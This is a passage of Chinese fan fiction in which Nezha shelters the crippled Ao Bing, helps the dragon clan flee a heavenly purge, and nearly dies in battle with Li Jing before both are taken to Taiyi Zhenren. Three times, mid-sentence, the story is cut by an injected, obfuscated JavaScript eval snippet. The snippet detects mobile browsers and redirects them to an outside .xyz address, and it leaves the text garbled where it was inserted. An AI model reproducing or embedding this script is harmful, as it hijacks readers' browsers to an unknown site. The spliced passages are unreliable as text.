还是没有声音,哪吒扯下混天绫,方才发觉敖丙已经睡着了。右手还抓着衣裳遮住胸腹,裸露出来的背部皮肤白皙,透着刚被哪吒揉出来的红痕,还有一条刺眼的白疤横贯背部。 只消一眼,哪吒便连忙别开头,羞红了脸,摸索着被褥把敖丙盖得严严实实,又以一种奇异的走姿离开,轻声把门带上。 神差鬼使的去了膳房,正巧遇上小厮把今日的食材买来,备菜呢。 “你们怎么就买这些给他吃?”哪吒近日没给送食物来,他去东极之山给敖丙取药去了,看着小厮拿回来的食材,惊诧到。 那些食材不能说不新鲜,只是对于华盖星君这种神职规格来说,实属不该,都是些寻常作物,敖丙身上有伤,再怎么样也应该好菜好肉让他养病。 “回禀大人,华盖星君俸禄不多,大人计算过,只能买到这些维持日常开销了。”小鲟躬身回到。 哪吒受不了了,火速回了自家把冰窖里的生鲜拿来,虽然冻了一两个月,但是聊胜于无。 哪吒操纵着火,把菜炖得软烂,又用砂锅盛好。小鳐正要去敲门叫醒敖丙,却被中坛元帅阻止了。 “你们去忙吧,我去他卧房让他吃饭。”哪吒不由分说把餐盘端过来,悄咪咪开了门。 敖丙还是那个姿势,睡得很沉,被子随着呼吸一起一伏,水青色的头发散乱着铺在枕头上,好似一副千里江山图。 哪吒轻轻地把饭菜放在一旁桌上,用自己的火热着菜,随后在一旁打坐修炼等敖丙睡醒。 也不知是过了多久,才传来被子的摩挲声。哪吒火速张开眼,看向敖丙。 小龙睡相很乖,刚起床的样子也很乖,先是在床上扭扭身子,再用手撑着辅助起身,睡眼惺忪地坐着,好一会儿才恢复清明。 “哪吒?!”敖丙没想到他竟然还在这儿。 “醒了?饿了没?饭一直热着呢,随时可以吃。”哪吒单手撑地站起,搭把手把敖丙移到轮椅上。 敖丙很不习惯这种场景,语气支吾着:“你一直在?怎么不叫醒我?” “看你睡得熟,不叫了,能睡好挺难得的。”哪吒把人推到餐桌前。 敖丙正想把盖子拿走,哪吒喝了声小心烫,就抢着把盖子拿走,怕把小龙烫着。 热气瞬时冒了出来,夹杂着饭香味,敖丙正想夸赞一二,定睛一看,便把好话转了个头:“哪吒,谢谢你给我做饭,饭很香。但是我只是背痛,不是牙坏了,不至于做糊糊给我吃。” “那我再给你做一份,不碍事,这份我吃。”哪吒把手伸来就要接过去,却被敖丙一挡。 “没说不吃。”敖丙挽起宽口袖,拿起餐具细嚼慢咽吃着。 该说不愧是当做君王培养的三太子,吃香甚是优雅,细嚼慢咽的。哪吒就不一样了,打打杀杀惯了,平时嚼个三两下就尽数吞下,从这点来说,还不知道该说谁是动物谁是人。 哪吒静静看着敖丙吃完,再把餐具收了,天冷,不适合遛弯消食,二人就在点了火炉的房间里聊聊天。 “我接下来可能有一段时间不在神界了,你要小心点。” 话里有话,敖丙挑眉:“可否是战事?” 哪吒靠在椅背上:“是,人间大战撞上新封神榜了,无论如何我这次也不能推脱,得去远征。” “中坛元帅武功高强,定能战无不胜,平安凯旋。”敖丙若有所思,也帮不上什么忙,只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15491113|170142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能来句客套话。 “不用担心我,我怕天庭此次征战波及到三界,你行动不便,若见势头不对,一定要先行离开。” 哪吒把自己在人间一个修行地告诉给小龙:“这里安全,除了杨戬、显圣真君,我师父、太乙真人,还有你知晓之外,再无第五人知晓。若无处可去,可先去躲避一二。” 敖丙看着身前那人,眸子里是散不去的愁绪、不解、惊讶,却无不信。 “对了,师父还炼了些内服丹药,我已放于你床头,切记温水送服。”哪吒知道小龙平日喜喝凉水,或是生性使然,“药膏也放在你书桌上了,师父那边还在炼化药膏,我平时采到药引了就送过去,待新药膏炼好了就去取来予你。”哪吒起身离开,不忘嘱咐。 不知道聊了多久,哪吒才起身告辞。敖丙不管那人劝天冷让他回屋,裹着大氅把哪吒送到府邸门口道别。 哪吒果真从不撒谎,敖丙已有月余没见过他了。府邸里没了那人叽叽喳喳,冷清不少。天气回暖,鱼池里的荷花又开了,甚是灿烂,敖丙看着盛开的荷花,看得出了神,手里的鱼食也忘了喂,只有鱼儿集聚在池边把口张大着互相挤来挤去。 一封急信被如意鸟投来府上,敖丙伸手稳稳接住来信,疾速拆开,一行黑字却如赤血般刺痛敖丙的眼。 信上只短短一句话:龙族或要被降罪,且照顾好自己,勿挂念。 是那位把敖丙带大的师父的字迹。 敖丙立刻把信撕碎,拿水化了字迹。手摇着轮子就要找去人间的通路,那路就在连接华盖星君府与中坛元帅府的桥下。 一道火红的身影砰一声撞开木门,幸亏敖丙离门还有段距离,不然必定被崩飞的木块所溅伤。 来人正是哪吒,一句话都来不及说,径自把敖丙打横紧紧抱起,风火轮发出爆响,载着二人火速往人界天界通路驰去,速度之快竟让混天绫被风刮得猎猎作响。 等二人停下时,已是到一个人间世外桃源的地方,在深山之中,大片的荷花池漫至天边,哪吒冲进木屋,平稳地把敖丙放在早已备好还落了些许灰的轮椅上。 “天庭要对龙族动手!”二人异口同声。 敖丙紧张得把衣料攥紧了。 “天帝派我讨伐龙族。” “罪名是什么?” “欲加之罪,何患无辞。” 敖丙嘴唇微张,颤抖着,撑着轮椅想起身。 “你想去哪!你就在这待着吧!”哪吒一手把人按住。 “!!”敖丙急得仪态全失,头发在路上散开了,发冠不知所踪。现在水青色的及腰长发散乱地遮住脸,也顾不上别到耳后,双手急得捶打两条废腿,哪吒见状,立刻抓着不让他伤害自己。 敖丙什么都做不到,走不了飞不了,化作龙形消耗神力还能再飞一段,那又如何,他是个没有武力的神,身为龙族三太子,如今却只能眼睁睁看着族人被迫害,自己却束手无策。 泪水都被急出来了。 “你先别急,杨戬让我先把你安顿在这,要不然天帝可能拿你做要挟逼迫龙王就范。” “哪吒!”敖丙循声望向跪在他面前的人,唇剧烈颤抖着,张开好几次想说话,又硬生生咽下,拳头攥得紧,指缝间竟溢出血来,流到青色华服上,扎眼得很。 最后敖丙还是说了那句话。 “你很久很久以前说过,你欠我一个人情,还作数吗?”语调颤抖着,似是被挖了心般的痛。 哪吒双手抓着敖丙手腕,耐心听着。 “能不能...能不能...”喉咙好似被巨石碾过,声带好似刀割般生疼。 豆大的泪落在哪吒手背上。 “求求你,能不能放龙族一条生路......”敖丙反握住哪吒的手,俯下身去,把额头贴在哪吒手背。 “求求你,我求求你,救救他们......救救他们.......”敖丙抽噎着,肩膀一耸一耸的,头发有的垂到地上,打了弯;有的挂在哪吒腿上,青丝挠着裸露的脚腕。 5. 第五回 护心鳞 华盖星君不曾哭过,可以说,成神十载,不曾外露过强烈的情绪,如今却把最脆弱、不堪的一面毫无遮掩地表露出来。 “求求你……求求你……救救我的子民……哪吒,求求你……”泪水失了闸门,不断落到哪吒手背上,洇湿一片。 哪吒翻过手,温柔捧起敖丙的脸颊。他单膝跪着,视线自下而上望向敖丙。龙族三太子那白皙的脸淌着泪,眼睛哭得通红,眼眸还蓄着泪,闪着水光,长而弯的睫毛还挂着泪珠,唇瓣还打着颤。 哪吒摩挲着敖丙那被哭红的眼角,轻声说:“作数的。哪吒从不说谎。” 敖丙抓着哪吒手腕,那腕上常戴着个长命锁。华盖星君嘴唇殷红,是被自己咬出来的。他含着泪望向那棕红色的眸子,满含着期待与恳求。 “我也不想伤无辜的生灵了,但除了我之外还有几万天兵天将参战。杨戬是另一个将领。”哪吒用指尖抹掉他的眼泪,凉凉的,倒也不像传言中那般眼泪会化作珍珠,小龙还在抽噎着,但可算是止住哭泣了。 “别哭,我们一起想想办法,肯定有生路的。”哪吒把敖丙扶起来,按着他双肩安慰道。 门被不合时宜地敲响了,二人同时抬头望向木门。 “我!”来人大声喊着,声音洪亮,听起来就让人舒服。 敖丙对这个声音陌生,疑惑地看着哪吒。 中坛元帅笑了,说声熟人,就起身去开了门。 来人身形高大而匀称,长身玉立来形容也不足以凸显其英俊帅气,穿着一身青银色圆领袍,用发冠束着高马尾,眉心之上却又长了只眼睛,只是闭着,留着一条缝。 他笑着,倚着门框:“总感觉我来的不是时候啊?” “无妨,进来吧,正巧要商量些事儿。”哪吒做了个请的姿势。 那人也不客气,径自入了房,走到敖丙前,做辑行礼:“鄙人杨戬,人称灌口二郎、显圣真君。久仰华盖星君大名,幸会幸会。” 敖丙回礼:“在下敖丙,龙族三太子,华盖星君。久闻显圣真君大名,如今终有幸相识。” “用得着吗,都是朋友。”哪吒乐得,拉了两张椅子过来,摁着杨戬一起坐下。 “我就直话直说了,戬哥,这场战我是真的不想打。” 敖丙惊诧看向哪吒,他不晓得哪吒的交际情况,遂惊诧于哪吒竟直接向显圣真君袒露退意。 “巧了,我也不想打。”杨戬靠在椅背上,两腿岔开,姿势就像把这当家似的。 杨戬知晓这敖丙还和他生分,便又把当年和哪吒谈心的话再复述了一次。 那年哪吒杨戬就在这荷花池上,躺在湖中央的大睡莲上,喝着酒。出身同门,性格也相似,待到酒意上了头,话头就说开了。 “你手腕上那是啥啊?天天戴着,打架时不怕磕着?”杨戬晒着月光,问道。 “我前生父母送的长命锁,长大了,脖子戴不上。换成手镯了。” “真好啊。还有个宝贝给你想起父母。我母亲已经......唉。” 杨戬的母亲,瑶姬,是天帝的妹妹。很久以前,天帝为了夺权,设局将妹妹派去桃山,而后镇压,致使尚且年幼的杨戬自此再无父母。 杨戬对此一直怀恨在心,这些年一直联系着母亲旧部势力,在朝堂之上与天帝形成制衡,自己面上听着天帝调令,让舅舅明面上无法对他动手动脚。 过程中杨戬一直看着华盖星君,讲述着自己隐秘的过去,也讲出此次的打算:“所以,我们得怎么在几万天兵天将的眼睛下让龙族逃出生天?” 二人看向敖丙,龙族三太子,按理来说,千万年之后他就是龙族的新王。或许他能有什么法子。 敖丙若有所思,沉默片刻后道:“我感觉父王应该已经在疏散龙族了。” “如今龙宫已被天兵围困,如何逃?” 敖丙看看哪吒,又迅速别开视线,盯着显圣真君看,语气坚定淡漠:“我能相信你们吗?” 看似问两人,实则只问一人。 “如果不是战机不对,手里没兵,我迟早把天帝打下王座。”杨戬坐得端正,一身正气回答。 “好,我信显圣真君言出必行。”敖丙点点头,又对哪吒说:“把我带去湖边。” 哪吒不解,但照做。 敖丙指着一条青色的鲤鱼说:“捞上来。” 随后,华盖星君、中坛元帅、显圣真君、一条水盆里的鱼被放在桌上,皆是满脸沉思状。 “父王。” 青色锦鲤冒了个泡。 “这位是哪吒,中坛元帅。”敖丙手掌指向哪吒示意。 锦鲤沉下水,不愿打招呼。哪吒倒是做辑行礼得标准。 “他是我在天庭唯一的朋友,这十年一直在照顾我。”敖丙补充到。 锦鲤看了一会敖丙,才摆摆尾巴,朝哪吒点点头。 “这位是杨戬,显圣真君。”杨戬做辑,锦鲤点点头。 “所以现在的情况就是想想怎么骗过天庭。”四人商量片刻后,敖丙总结到。 锦鲤嘴巴一张一张,对着敖丙说话。 “犬子认为,这二人可信。”敖丙坚定点头。 “朕已提前将妇孺转移至禁海,现在还在龙宫殿后的,约摸千余战士。只是如今天兵重兵把手,我无法再开启禁海通道。”那青色锦鲤竟开口说话了! 二人:原来这鱼会说话啊! “那只要让天兵看不见通道,族人便可顺利逃离龙宫了。”敖丙摩挲着下巴,思索道。 “我有一计。”敖丙说,轮番看向众人。 “禁海通道在龙宫深处,开启需要时间,法阵也大,过于显眼。若能将天兵驱离战场,或许就能掩护剩余龙族 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15491114|170142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 撤离。” 四人你言我语,不同的战术就此成熟,届时随机应变即可,三个武将,其一为一族之王,在军事上都可谓是驾轻就熟。 议毕,锦鲤正要消散,敖丙忙叫住:“父王!稍等!我且将心鳞剥下,届时若有王族龙鳞助力,法阵可更快成形!” 那鱼只冒了一个不字的音节,便立刻被三太子打断:“父亲!我也是龙族皇子!请允了孩儿这个心愿,这是孩儿唯一能为龙族延绵出的力了!父皇,不要什么都往自己肩上扛了!” 青锦鲤说:“也罢,但朕无法将你的护心鳞带进东海,或许你还要托付给这二人,战场上见机交付与我。” 敖丙闻言,笑得开心。一个闭眼转身,便化作一条青色的小龙,估摸着也有□□米长,颜色是极为漂亮的水青色。 龙爪伸向心脏处的皮肤,钳住那全身上下最为坚硬的龙鳞。抓着,用尽全力逆着生长方向撕扯,房子极静,都能听见龙鳞与血肉撕离的断裂声。拔走护心鳞极为痛苦,敖丙痛得咬紧牙关,龙身细密颤抖着,发力好一会儿,才拔下一块龙鳞。 小龙倒在地上,他刚刚已经耗费些许神力维持龙体运动了,他被抽了筋,很多动作已经做不出来了。 “哪吒。”敖丙唤到,哪吒把目光从不断流着金血的伤口好不容易移到敖丙龙眼处。 “我没气力了,你帮我把剩下的几个护心鳞拔下来。” 哪吒身体往前倾了倾,却又顿住了:“我做不到。” “你都抽过我龙筋了,拔龙鳞而已,有何不可?” “不要开这种玩笑。”哪吒恼道。 “我早就不介意了。哪吒,帮我拔了护心鳞。” 青鲤鱼静静的看着。 敖丙见哪吒不动,便看向杨戬:“显圣真君,能麻烦你帮我拔了护心鳞吗,逆着拔会容易些。” 杨戬深吸一口气,正欲向前。 “还是我来吧。”哪吒一手拦住杨戬,左手按住龙身,龙体凉凉的,龙鳞很硬,这是他们天生的铠甲,也是他们在水界称霸的天生之证。那护心鳞有哪吒拳头那么大,哪吒使了全身的力气,才好不容易拔下另一块护心鳞。 天生巨力的哪吒都费了好一番力气才拔下。哪吒不敢想敖丙刚刚自己拔时是有多疼,才能忍住不出声。 接下来是第三块,小龙再也压抑不住痛苦,龙吻细细地抽着冷气。 三块护心鳞被拔了下来,一块交予杨戬,两块给哪吒。 小龙化回人形,向父皇道了别。鱼叹息一声,转身消失在水盆里。 “龙族的未来,就拜托二位了。”敖丙行了个大礼,俯身贴到废腿上:“我无力参战,愧对龙族三太子之名。还望二位,救我族人!”语气诚恳,刀刀剜心。 哪吒杨戬上前双手扶起敖丙。应诺着。 转眼间,大战就这么来了。 6. 第六回 太乙真人说,这是死局,无解 水界 东海龙宫 哪吒化出法相,三头六臂,脚踏风火轮,身缠混天绫,手持火尖枪,尽显杀神之相。杨戬换上秘甲,拿着三尖两刃刀,额间目开,尽显神将威风。 二人身后是三万天兵天将,脚下是无边东海,那龙宫就在此处。此战就是要抓拿龙族余孽,一个不留。 哪吒率先冲入海中,龙王前来迎战,二人交战。龙王不愧为万年武将,又身为龙族,天生有刀枪不入的龙鳞护体,哪吒竟不敌龙王,杨戬见状,加入战场。 小兵小将自知这仗他们就是来充场面的,其余龙族均未现身,那两人就已将海底战场搅得惊涛骇浪,谁也不敢贸然入水。 水界是龙族的天下。 不把龙族逼出海面,此战难胜,那万年龙王在战场摸爬滚打数千年,又岂能不知道这种道理,如今死缠着两位大将。小兵可不敢掺和,全飞在天上浑水摸鱼。 这正是哪吒想要的场面,只见那海底龙宫已被砸得稀烂,海底泥沙被搅了上来,视线被遮了个大半,哪吒杨戬趁着假意交手,把敖丙的护心麟一下拍到龙王心口,龙王就这力道被打入废墟,将自己的护心麟和儿子的护心麟放在法阵上。 二位王族护心麟作引启动法阵,禁海通道迅速被打开了缝隙,早就静候一旁的龙族迅速钻入,消失得无影无踪。 杨戬开了天眼,在海底构出一幅大幻象,掩饰法阵图像,哪吒指使混天绫将海水搅得浑浊不堪,掩人耳目。龙王使了眼色,把龙尾一摆,将哪吒杨戬借着水力送上半空中。 “就凭天庭还想收了龙族,也不看谁能打得过我。”巨龙匍匐在海面上,笑着全天庭。 “妖龙!休要猖狂!”杨戬喝到,二指指着龙王,坦坦荡荡骂道,“我与哪吒念在旧日战友情,不愿伤你!你且速速就擒,去天帝前伏罪!” “我龙族何错之有!倒是你们,步步紧逼!龙族千万年来听从宣命调令,如今却又因忌惮水界势力,想灭了我族!尽干些龌龊事!” 巨龙钻入海中,又迅速腾天,万丈海水追随着王,将天兵天将打得节节后退。杨戬哪吒作势后退。 这边水界演着戏拖延时间,那边敖丙在人界木屋心急如焚,上有天界灯红酒绿莺歌燕舞。 那天帝也不愧是在官场厮杀出来的,早在全天界找不到敖丙时就知道有鬼了。 天帝召来千里眼顺风耳,让探查东海情况。 那两个神仙身家老小都在天庭手上,只得如实告知。杨戬的天眼幻象虽能蒙蔽普通小将,却躲不过千里眼顺风耳的火眼金睛。 天帝听了实情,冷笑一声,叫来托塔天王李靖。 “李靖啊李靖,没想到你那好儿,就算成了莲藕之身,也还是一身反骨!”天帝倚在龙椅上,斜眼居高临下看着托塔天王。 李靖端着塔,为难地干笑着。 “哪吒通敌,你去擒了他回来!再把那妖族也收了!” 托塔天王行礼应下,却不走,只问到:“那显圣真君,该如何当?” “既是我侄子,我自当家法处置!” 托塔天王点点头,前去水界增援了。 龙王见族人走得七七八八了,也打算最后来一击然后趁机遁走,正当他化回龙形预备攻击哪吒时,天边突然杀出个程咬金。 “哪吒,你放走龙族,意欲何为!”李靖托着玲珑塔,脚踏祥云,手指中坛元帅,前来兴师问罪。 “糟,败露了!”哪吒顿觉不好,回头朝龙王示意他快走,这里有他顶着。 龙王又怎会一走了之,天庭的人,就是他的敌人,他自会打,更何况他不是抛下战友不管那种卑劣小人。 杨戬见事情已败露,收了天眼幻象,撑着三尖两刃刀平复呼吸,要维持一个方圆百里的幻境还是太过消耗法力了。 他是武将,又不是法师。 现在龙族已入禁海,他们的初衷已经达成了。他有母亲旧部背书,天帝不敢拿他怎么样,如今便拿着三尖两刃刀,挡在哪吒身前。 杨戬是没了家,可那小龙还在等他的莲藕回家。 那托塔天王指挥着天兵天将与那□□叛者厮杀,三人竟落了下风,他们不愿伤人,自然打得有所顾虑。李靖得了空隙,亲自挂帅上阵,手持方天画戟,趁哪吒不备,将哪吒腰部刺伤。 哪吒吃了痛,一个火尖枪猛地回打,将托塔天王打飞至十里之外,龙王趁势一摆尾,将李靖和一众小兵打入海中。 屋前湖中,有一鲤鱼忽地窜上水面,又重重砸下,激起甚大的水花。 敖丙感受到什么,猛摇着轮椅开了大门,只见满池荷花迅速衰败下来,急得叫唤糟糕,不顾得哪吒应战前千叮万嘱不要离开此地,化身为青龙,如疾电般飞向东方。 那是他的故乡,生养他百年的地方。 却是如今的战场,伤了显圣真君,伤了他族人,伤了他父皇,还伤了他在天界唯一的朋友。 敖丙在路上只有两个念头,一个是要救下哪吒,第二是若是自己前去成为拖累,那就宁死不从,绝不再给天庭任何可乘之机。 哦,他还庆幸前些日子没耗光神力去拔护心鳞,要不然现在飞都飞不起来。 待到敖丙冲到战场时,那场景叫一个混乱: 杨戬开了法天象地和龙王努力引开天兵天将的火力,一边抽身帮哪吒攻击托塔天王。那边,哪吒和托塔天王打得不可开交,你一枪我一戟,有来有往。 小龙视力好,只看得见哪吒腰上血迹渗在衣服上。武将们飞得快,战场也大,一下子就从东边打到西边去了。 三头六臂的哪吒实在战力惊人,托塔天王失了耐心,拉开距离就要祭出宝塔镇压哪吒,敖丙见状化身青色闪电,嗖一声往哪吒那儿飞去。 第一次祭塔,哪吒踏着风火轮,勉强逃过一劫,却被宝塔所带的法阵所伤。杀神竟被伤得喷出一口热血。 杨戬和龙王脱不开身,显圣真君方才开幻象消耗法力过多,心有余而力不足;一边龙王维持着禁海通道,实力锐减。敖丙见状顾不上其他,不要命地燃烧神力灵力,妄图加速,将哪吒从第二次攻击里救下。 就差一点,那宝塔就要收了哪吒。 小龙救下了他的莲藕。 青色龙鳞和宝塔高速摩擦着,发出刺耳的尖锐声,划出金色的火花。堪堪擦肩而过,逃出生天。 “敖丙?!你来干什么!”哪吒被敖丙甩上背后,如今一手抓着背毛,另一手气得小力捶打敖丙。 敖丙不答,而是直直往杨戬那儿飞去,龙王很远就感觉到了儿子的气息,甚是欣喜,却又不能停下战斗去与儿子相拥,只能更卖力打飞敌人。 托塔天王再次把塔托起,第三次尝试将那俩逆贼收入塔下。 哪吒伏在敖丙背上,疼得轻轻抽着气,左手无力垂下来。李靖眼力不俗,正欲施法,却把逆子手腕上的饰品看了个一清二楚。 那是千年前,哪吒出生,他和夫人找了最好的金匠打给儿子的长命锁。他以为那次哪吒剔骨还父后就把曾经的东西都扔了,不曾想竟还戴着。 哪吒长大了,当年的项圈戴不下了,就改成手环,日日夜夜戴着,不曾脱下,金环被磨得发了光,丝毫没有旧气。 那玲珑塔莫名其妙偏了几分,没把哪吒镇住,就连那小龙也没碰到。 敖丙自知机不可失,飞过杨戬,将显圣真君载到背上,只一刹那间,便和父王对视了。 父子间心领神会,合力掀起万丈巨浪,盖向天兵天将,将他们隔出百里之外,又将接天的海浪封冻,指使天雷落下,构筑生灵不可逾越的海障。 龙王在海面之上,抬头看着敖丙。青色小龙飞在半空中,舍不得飞走,但他们都有不得不走的理由。 孩子已经能飞得很高了啊。 他的龙鳞可真漂亮,青色,映着太阳的金斑,熠熠生辉,颇有王者之相。 小龙也能掀起千米巨浪了,不再是那个需要父亲处处护着长大的龙族后代了。 这还是龙王第一次抬头看着自己的孩子。 这也是敖丙头一次俯视自己的父亲,自己的王。 原来岁月也会在龙这种长生种上留下痕迹,白发染上父亲的两鬓,在眼角刻下细纹。 战机转瞬即逝,没时间留给父子多一分一秒的留驻。 父亲朝孩子微微含了含下巴,孩子也一样点头致意。未来的龙王化作青色的闪电划过天边,消失得无影无踪。 龙王遁入海里,他是留在上层水界最后的龙了,他进入禁海后,通道便闭锁了。 禁海是水界的核心,千万年来,只有真正的龙族才能进入,只有真正的王族才能用护心鳞开启禁海通道。 好奇怪啊,活了千万年了,还是头一次觉得这海咸得发涩,把眼眶喉咙都咸得生疼,龙王想,好怪啊,为什么会这样。 托塔天王回天庭复命去了,天帝大发雷霆,却已是无法挽回什么,只得把众臣大骂一顿,挥挥大袖,下朝回宫。 李靖回到自己的神府,推开了一道尘封已久的木门。 一个小小的婴儿床放在房间中央,蒙着一层薄薄的灰。李靖双膝跪下,长满茧子的手温柔摩挲着婴儿床,神色褪去威严,只剩下父亲望着孩儿那般的眷恋与温柔。也不知道是过了多久,李靖才长叹一口气,拍拍婴儿床空空如也的内里,站起来离开。在门即将关上的一刻,托塔天王还是没忍住回头看了一下那个还没他一臂长的婴儿床,小小的,好像还能看见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15491115|170142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灵珠子小时候张着小手抓着夫人头发把玩的良辰美景。 小龙拼尽全力,飞出好长一段距离,直到杨戬再三让他停下来,才猛地脱了力。杨戬眼疾手快,拿祥云托住三人。 哪吒腰部伤口已经渗不出血了,但是嘴巴还在往外吐着血,双目微睁,意识早就模糊了。敖丙也没好到哪去,整个人脱了力,却还用手扯着身子往哪吒那爬。 敖丙去探哪吒鼻息,浅得快要探不到,他不曾见威风凛凛杀神伤得如此重过。 “风......火轮...”哪吒使了劲,朝敖丙吐出几个气音,“杨戬......” 敖丙也有气无力转述着。 杨戬心领神会,唤来风火轮,风火轮加持着祥云,虽没龙族飞得快,但也和哪吒原本的速度不相上下。 “去...去哪...”敖丙也脱了力趴在祥云上,右手抓着哪吒左手,碰着长命锁。 “去找太乙真人,三界内,只有他会帮哪吒了。”杨戬也挂了彩,但终究比那俩濒死的好太多。 哪吒连吸气都带着血声,眼睛失了焦,现在正急剧倒着气,左手颤着想握住敖丙,却怎么也使不上力了。 敖丙紧紧握住他,不要命地往里送灵力和神力,杨戬忍不住了,把敖丙手挥开:“你疯了吗,这样你会死的!神也是会死的!”但自己倒是往哪吒身体源源不断渡气。 莲藕是空心的,渡进去的过不了五脏六腑,就直直散到外界,再怎么救也只是拖延时间。 “不用你管!”敖丙甩开杨戬,“就靠你赶去太乙真人那了,要快!” “我不要...”哪吒受了点灵气,恢复些许清明,就要甩开敖丙,“我欠你一条命,终于,还清了.....” 敖丙更用力握着,哭了,颤声说:“不欠了....早就...什么都不欠了。” “我要你活着...我已没什么用了...你不一样,哪吒,你要活下去...” 哪吒控制不了身体,藕身源源不断吸取着敖丙所剩无几的灵力,拼了命地活下去,连哪吒都不知道这是哪来的求生欲。他连哭都没有力气了,泪绵绵不绝淌着出来,和嘴里不断反涌的血混在一起,洇湿了祥云。红棕的眸蒙上水雾,让他无法看清躺在身边近在咫尺的小龙。 小龙脸上没有痛苦,只是淡淡笑着,摩挲着哪吒的手背,轻轻安抚。这还是敖丙第一次没被哪吒烫到。 哪吒好后悔。他应该把敖丙捆在家里,不让他飞出来。 他好后悔。他应该死在战场,他就是个杀神。生来就是给身边之人带来厄运,生来就是要夺了他人的性命。 他不懂,为什么自己明明生剥了敖丙的筋,那人却还要救他。 他没有心,他不知道,这种情感不是友情,也不是爱情,它凌驾于亲情、爱情、友情之上。 但是莲藕不知道,他学不会啊。 他只知道自己的生命在被强行延续,而敖丙的手却越来越凉,比他的还冷。 不应该这样啊,他想。 为什么,老天要这样对他们。他们何错之有。 事出有因,反正本来杨戬就不是什么拘于礼节之人,便直直让祥云撞开太乙真人的院门,也不管仙神是否闭关修炼,在那庭院大喊:“太乙真人!救救哪吒!救救敖丙!” 小仙童们先是被炸开的门吓了一跳,又被杨戬大吼下了一跳,等到看清几个血人是谁时更是大吃一惊。 太乙真人听闻后速速让杨戬将那两个血人移至后院。 那后院有一湖,水深而蓝,开满了莲花荷花,甚是美丽。太乙手画玄符,嘴里念念有词,化出的大量黄符在湖上翻飞,掀起青色的浪,又钩织出一朵奇大的荷花,与当年为哪吒重塑肉身的荷花别无二致。 一龙一藕被无形的力轻柔托了起来,温柔放于荷花之中。拂尘划动着,那荷花便将二人包了起来。 水汽蒸腾起来,吸取着满湖的灵气,源源不断送入荷花之中,莲藕也附在荷花之上,融了进去。 杨戬在一旁等着,太乙真人却百感交集望向他。 “太乙真人有话直说无妨。” “那哪吒本就是莲藕所化,如今我再为他重塑肉身,又以灵气滋补,月余后便能恢复如初。”太乙真人抚着胡须,说着难处。 “只是那华盖星君,是条水龙,莲藕属土,本就克水,华盖星君本非肉身成圣,又失了龙筋,身体缺损太多,如今老夫就算倾尽全力,也只能靠灵气给他续上口气。” 杨戬皱眉:“那可否有有药能救敖丙?” “古海之内,有龙衔珠,聚海山之气脉。”太乙真人摇摇头,“但此药引在深海下,你是人族,入不了海,此局是死局啊,唉......” 7. 第七回 哪吒把敖丙从头到尾看了一次又一次,好似怎么也看 “昆仑之丘,结有沙棠果,食之不溺,可避水厄。”杨戬回到,“我先去寻沙棠果,再下海寻龙衔珠。” 太乙真人看向显圣真君,眼里甚是欣赏:“若能寻到,速速赶回。老身暂且能护住华盖星君60天界日魂魄不散,若迟了,就要化回万物了。但你必须得在第50日前赶回,老身炼龙衔珠也需十日。” 杨戬应下,吃了仙童给的药物,顾不上身上血污还在、伤口未愈,就头也不回地去寻药了。 哪吒睡于花心中,敖丙也贴着他。二人昏得深沉,源源不断汲取着太乙真人那荷花池积累的天地精华。莲藕融成丝丝缕缕,连上哪吒全身,慢慢缝补着躯体的伤口,藕花化作血液与肉身,和哪吒渐渐化为一体。 哪吒的伤病一点点的好转,敖丙却是每况愈下。待到哪吒能勉力睁开眼时,已是过了三十余天。 “敖丙?!!!”哪吒刚勉力睁开眼,被吓得瞬间清醒了。 睡在他面前的不是人,是一条不过一腿长的小青龙,龙鳞昏暗无光,分明就是敖丙! “敖丙你怎么了!”哪吒忍着全身剧痛,手抖得很,不敢置信的去碰躺在莲蓬台上的小青龙。 小青龙浑身冰凉,一如哪吒现在的心。如果不是小龙还在浅浅呼吸着,哪吒真的会以为敖丙为了救他,死了。 太乙真人的声音隔着荷花花瓣传进来:“华盖星君竭尽神力、灵力护你到此,本已是强弩之末了,如今全靠这湖中灵气延缓返璞归真与真元溃散化回万物的进程。我这没有给龙族修魂补魄的药,他自然会慢慢回到最初的模样。” 哪吒还是一如既往地着急,声音虽小,却透着万般焦急:“师父!有没有什么办法还能救救他!”哪吒抱起小龙,把它环进怀里,用那着炽热的心腔来给它取暖。小龙觉得舒服,也蠕动着身子,把肚皮紧紧贴上去。 “我还没说完,古海内,有龙衔珠,是重铸龙体魂魄的药引,显圣真君杨戬已去取了,若能在12天内赶回来,华盖星君就还能活下来。” 太乙真人这些日子一直在这深湖旁边,旁有炼丹炉,如今已快炼好其他药材。万事俱备,只欠东风——只待显圣真君把龙衔珠带回,修炼十日,再让敖丙吃下,便可保下性命。 